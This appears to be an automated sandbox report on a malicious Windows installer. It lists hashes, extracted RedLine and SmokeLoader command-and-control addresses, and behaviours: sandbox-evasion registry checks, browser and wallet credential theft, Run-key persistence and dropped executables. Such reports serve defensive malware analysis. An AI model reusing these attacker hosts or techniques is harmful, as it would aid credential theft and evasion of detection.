Overview
overview
10Static
static
Setup (1).exe
windows11_x64
10Setup (10).exe
windows11_x64
10Setup (11).exe
windows11_x64
10Setup (12).exe
windows11_x64
10Setup (13).exe
windows11_x64
10Setup (14).exe
windows11_x64
10Setup (15).exe
windows11_x64
10Setup (16).exe
windows11_x64
10Setup (17).exe
windows11_x64
10Setup (18).exe
windows11_x64
10Setup (19).exe
windows11_x64
10Setup (2).exe
windows11_x64
10Setup (20).exe
windows11_x64
10Setup (21).exe
windows11_x64
Setup (22).exe
windows11_x64
Setup (23).exe
windows11_x64
1Setup (24).exe
windows11_x64
10Setup (25).exe
windows11_x64
10Setup (26).exe
windows11_x64
10Setup (27).exe
windows11_x64
10Setup (28).exe
windows11_x64
10Setup (29).exe
windows11_x64
10Setup (3).exe
windows11_x64
10Setup (30).exe
windows11_x64
10Setup (31).exe
windows11_x64
10Setup (4).exe
windows11_x64
10Setup (5).exe
windows11_x64
10Setup (6).exe
windows11_x64
10Setup (7).exe
windows11_x64
10Setup (8).exe
windows11_x64
1Setup (9).exe
windows11_x64
10Setup.exe
windows11_x64
10Resubmissions
15/10/2024, 15:36
241015-s1zlzasdkc 1001/07/2024, 18:32
240701-w6yteawhmq 1001/07/2024, 14:52
240701-r82wmaxdnd 1001/07/2024, 14:52
240701-r8syqa1dpp 1011/03/2024, 21:22
240311-z8dsssgg58 1001/09/2021, 13:18
210901-5bmxjspa5s 1001/09/2021, 13:04
210901-te4btfspqa 1001/09/2021, 05:12
210901-4wnkwm1p3j 1031/08/2021, 21:47
210831-41rp97dma2 10Analysis
-
max time kernel
134s -
max time network
471s -
platform
windows11_x64 -
resource
win11 -
submitted
21/08/2021, 19:20
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup (10).exe
Resource
win11
Behavioral task
behavioral3
Sample
Setup (11).exe
Resource
win11
Behavioral task
behavioral4
Sample
Setup (12).exe
Resource
win11
Behavioral task
behavioral5
Sample
Setup (13).exe
Resource
win11
Behavioral task
behavioral6
Sample
Setup (14).exe
Resource
win11
Behavioral task
behavioral7
Sample
Setup (15).exe
Resource
win11
Behavioral task
behavioral8
Sample
Setup (16).exe
Resource
win11
Behavioral task
behavioral9
Sample
Setup (17).exe
Resource
win11
Behavioral task
behavioral10
Sample
Setup (18).exe
Resource
win11
Behavioral task
behavioral11
Sample
Setup (19).exe
Resource
win11
Behavioral task
behavioral12
Sample
Setup (2).exe
Resource
win11
Behavioral task
behavioral13
Sample
Setup (20).exe
Resource
win11
Behavioral task
behavioral14
Sample
Setup (21).exe
Resource
win11
Behavioral task
behavioral15
Sample
Setup (22).exe
Resource
win11
Behavioral task
behavioral16
Sample
Setup (23).exe
Resource
win11
Behavioral task
behavioral17
Sample
Setup (24).exe
Resource
win11
Behavioral task
behavioral18
Sample
Setup (25).exe
Resource
win11
Behavioral task
behavioral19
Sample
Setup (26).exe
Resource
win11
Behavioral task
behavioral20
Sample
Setup (27).exe
Resource
win11
Behavioral task
behavioral21
Sample
Setup (28).exe
Resource
win11
Behavioral task
behavioral22
Sample
Setup (29).exe
Resource
win11
Behavioral task
behavioral23
Sample
Setup (3).exe
Resource
win11
Behavioral task
behavioral24
Sample
Setup (30).exe
Resource
win11
Behavioral task
behavioral25
Sample
Setup (31).exe
Resource
win11
Behavioral task
behavioral26
Sample
Setup (4).exe
Resource
win11
Behavioral task
behavioral27
Sample
Setup (5).exe
Resource
win11
Behavioral task
behavioral28
Sample
Setup (6).exe
Resource
win11
Behavioral task
behavioral29
Sample
Setup (7).exe
Resource
win11
Behavioral task
behavioral30
Sample
Setup (8).exe
Resource
win11
Behavioral task
behavioral31
Sample
Setup (9).exe
Resource
win11
Behavioral task
behavioral32
Sample
Setup.exe
Resource
win11
Errors
General
-
Target
Setup (21).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
redline
dibild
135.148.139.222:33569
Extracted
redline
19.08
95.181.172.100:6795
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3892 3000 rundll32.exe 135 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1856 3000 rundll32.exe 135 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4460 3000 rundll32.exe 135 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral14/memory/3872-325-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral14/memory/3872-321-0x0000000000000000-mapping.dmp family_redline behavioral14/memory/720-292-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral14/memory/720-290-0x0000000000000000-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 9 IoCs
description pid Process procid_target PID 1284 created 1976 1284 WerFault.exe 159 PID 3492 created 1824 3492 WerFault.exe 101 PID 4796 created 1252 4796 MediaBurner2.tmp 170 PID 3628 created 1852 3628 msedge.exe 100 PID 3660 created 132 3660 WerFault.exe 129 PID 1976 created 724 1976 WerFault.exe 94 PID 5648 created 400 5648 WerFault.exe 97 PID 1396 created 1164 1396 WerFault.exe 136 PID 6072 created 5948 6072 WerFault.exe 188 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral14/memory/1824-351-0x0000000004140000-0x00000000041DD000-memory.dmp family_vidar behavioral14/memory/132-393-0x00000000049D0000-0x0000000004A6D000-memory.dmp family_vidar -
Blocklisted process makes network request 1 IoCs
flow pid Process 144 1376 msiexec.exe -
Downloads MZ/PE file
-
Executes dropped EXE 59 IoCs
pid Process 1212 Lfm_XS_Nn3jlKidcRPH5om2l.exe 804 omVWevG66f6Yrz2zcwZRls_y.exe 400 P4UU0RNW25TMcHlO5xsLFOv6.exe 1328 SI6MXJftBPoVGyAIx1oY8Li7.exe 1376 sOagukUAKBLop2GbpRVv8DN_.exe 1152 6TCPlW6obErU_523SPKyBspe.exe 968 bP8AgyXE2mPYnnAaQYY6yRnz.exe 340 tvXgMm_h8qulvW5cMhAbVvvv.exe 1252 C2PuAYP3Y_ROij0qgC6EQFZR.exe 1132 mK91eas6ZpG2H6OEnTEkIEhs.exe 724 qf1y67VXto4vX0COmo1ulm4A.exe 1824 q8dM0M60N9jtSV2Z6HoHhqHG.exe 1888 eytG8i8T6vUNkCMrUJBgRTLz.exe 1856 MiQZYqowRAMIYP8jxYLEbvAu.exe 1976 Z0BJ8gjwAyTU6ckPz2kgxIC_.exe 1852 ZKcZNQ7PhJCE9DbUMxKNj4ig.exe 4364 DVv5SO4L_sDQDWCVZjNJouAe.exe 5056 C8D8_vHly4HkEFF51pYSfL9s.exe 3256 C8D8_vHly4HkEFF51pYSfL9s.tmp 1720 jooyu.exe 3536 md8_8eus.exe 3152 customer3.exe 4952 Rv8L8q7o17okugKCIPXgX4CJ.exe 4772 jfiag3g_gg.exe 3580 ir3h8SB72JtwVbG0yzDuQp_j.exe 1164 1R9krKXteBHdwO53jPvIGhg3.exe 720 DVv5SO4L_sDQDWCVZjNJouAe.exe 432 Setup.exe 3764 1657179.exe 3872 SI6MXJftBPoVGyAIx1oY8Li7.exe 3144 3140662.exe 1076 8244433.exe 132 LGCH2-401_2021-08-18_14-40.exe 4384 4039867.exe 2996 tmpD7D3_tmp.exe 4300 Inlog.exe 932 mK91eas6ZpG2H6OEnTEkIEhs.exe 3548 11111.exe 1372 Inlog.tmp 5552 8501589.exe 5592 Cleaner Installation.exe 5772 WEATHER Manager.exe 5876 Conhost.exe 5916 svchost.exe 6024 WinHoster.exe 6120 VPN.tmp 6056 md7_7dfj.exe 3704 WEATHER Manager.tmp 5172 askinstall53.exe 1252 MediaBurner2.exe 1256 PBrowFile15.exe 3752 Setup.tmp 5340 jfiag3g_gg.exe 5420 zhaoy-game.exe 4796 MediaBurner2.tmp 5584 11111.exe 3856 LivelyScreenRecS1.9.exe 1496 3377047_logo_media.exe 5268 Esplorarne.exe.com -
resource yara_rule behavioral14/files/0x000200000002b1e2-270.dat upx behavioral14/files/0x000200000002b1e2-269.dat upx -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion omVWevG66f6Yrz2zcwZRls_y.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion omVWevG66f6Yrz2zcwZRls_y.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion eytG8i8T6vUNkCMrUJBgRTLz.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion eytG8i8T6vUNkCMrUJBgRTLz.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6TCPlW6obErU_523SPKyBspe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6TCPlW6obErU_523SPKyBspe.exe -
Loads dropped DLL 13 IoCs
pid Process 3256 C8D8_vHly4HkEFF51pYSfL9s.tmp 3256 C8D8_vHly4HkEFF51pYSfL9s.tmp 1372 Inlog.tmp 1372 Inlog.tmp 5592 Process not Found 6120 VPN.tmp 6120 VPN.tmp 3704 WEATHER Manager.tmp 3704 WEATHER Manager.tmp 3752 Setup.tmp 4796 MediaBurner2.tmp 5436 rundll32.exe 5948 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral14/files/0x000200000002b1b0-183.dat themida behavioral14/files/0x000200000002b1a8-205.dat themida behavioral14/memory/1888-247-0x0000000000C30000-0x0000000000C31000-memory.dmp themida behavioral14/memory/1376-304-0x0000000000060000-0x0000000000061000-memory.dmp themida behavioral14/memory/804-283-0x0000000000F40000-0x0000000000F41000-memory.dmp themida behavioral14/memory/1152-252-0x0000000000C20000-0x0000000000C21000-memory.dmp themida behavioral14/files/0x000800000002b19b-203.dat themida behavioral14/files/0x000200000002b1a3-201.dat themida behavioral14/files/0x000200000002b1b0-202.dat themida behavioral14/files/0x000800000002b19b-169.dat themida behavioral14/files/0x000200000002b1a3-168.dat themida behavioral14/files/0x000200000002b1a8-164.dat themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 3140662.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA eytG8i8T6vUNkCMrUJBgRTLz.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6TCPlW6obErU_523SPKyBspe.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA omVWevG66f6Yrz2zcwZRls_y.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ipinfo.io 58 ipinfo.io 59 ip-api.com 128 ipinfo.io 185 ipinfo.io 207 ipinfo.io 244 ipinfo.io 37 ipinfo.io 106 ipinfo.io 156 ipinfo.io 165 ipinfo.io 275 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 1152 6TCPlW6obErU_523SPKyBspe.exe 1888 eytG8i8T6vUNkCMrUJBgRTLz.exe 804 omVWevG66f6Yrz2zcwZRls_y.exe 1376 WerFault.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4364 set thread context of 720 4364 DVv5SO4L_sDQDWCVZjNJouAe.exe 139 PID 1328 set thread context of 3872 1328 SI6MXJftBPoVGyAIx1oY8Li7.exe 121 PID 1132 set thread context of 932 1132 mK91eas6ZpG2H6OEnTEkIEhs.exe 153 -
Drops file in Program Files directory 31 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\INL Corpo Brovse\unins000.dat Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe MiQZYqowRAMIYP8jxYLEbvAu.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe Setup.exe File opened for modification C:\Program Files (x86)\INL Corpo Brovse\QtProfiler.exe Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-VG2UC.tmp Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe Setup.exe File opened for modification C:\Program Files (x86)\INL Corpo Brovse\javaw.exe Setup.tmp File opened for modification C:\Program Files (x86)\INL Corpo Brovse\libcueify.dll Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe MiQZYqowRAMIYP8jxYLEbvAu.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe MiQZYqowRAMIYP8jxYLEbvAu.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe Setup.exe File created C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini Setup.exe File created C:\Program Files (x86)\INL Corpo Brovse\is-HD0R9.tmp Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe Setup.exe File created C:\Program Files (x86)\INL Corpo Brovse\unins000.dat Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-HES6B.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe MiQZYqowRAMIYP8jxYLEbvAu.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini MiQZYqowRAMIYP8jxYLEbvAu.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe Setup.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe Setup.exe File opened for modification C:\Program Files (x86)\INL Corpo Brovse\libass.dll Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-2CQQ7.tmp Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-0V7O4.tmp Setup.tmp -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 30 IoCs
pid pid_target Process procid_target 2992 1824 WerFault.exe 101 2268 1976 WerFault.exe 111 4924 1252 WerFault.exe 91 2596 1852 WerFault.exe 100 1264 132 WerFault.exe 129 3268 400 WerFault.exe 97 5804 1164 WerFault.exe 136 2544 5948 WerFault.exe 188 5824 5172 WerFault.exe 171 5968 3764 WerFault.exe 133 5444 5240 WerFault.exe 218 5700 4384 WerFault.exe 125 1376 5404 WerFault.exe 201 5604 1856 WerFault.exe 234 2408 6064 WerFault.exe 208 4968 5624 WerFault.exe 237 3120 6132 WerFault.exe 240 5260 1156 WerFault.exe 269 7272 7204 WerFault.exe 324 5292 968 WerFault.exe 293 7052 5040 WerFault.exe 342 3044 5180 WerFault.exe 294 5064 7176 WerFault.exe 375 6224 3580 WerFault.exe 296 4040 6008 WerFault.exe 389 6316 8140 WerFault.exe 338 3740 8072 WerFault.exe 344 7644 5388 WerFault.exe 425 7272 3940 WerFault.exe 445 3660 7536 WerFault.exe 451 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI mK91eas6ZpG2H6OEnTEkIEhs.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI mK91eas6ZpG2H6OEnTEkIEhs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI mK91eas6ZpG2H6OEnTEkIEhs.exe -
Checks processor information in registry 2 TTPs 35 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz PING.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier PING.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString PING.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 PING.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 PING.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier PING.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision PING.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 10 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS PING.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU PING.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Kills process with taskkill 2 IoCs
pid Process 1204 taskkill.exe 5336 taskkill.exe -
Modifies data under HKEY_USERS 43 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2268 PING.EXE -
Script User-Agent 7 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 108 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 127 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 146 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 154 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 270 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 296 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 105 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
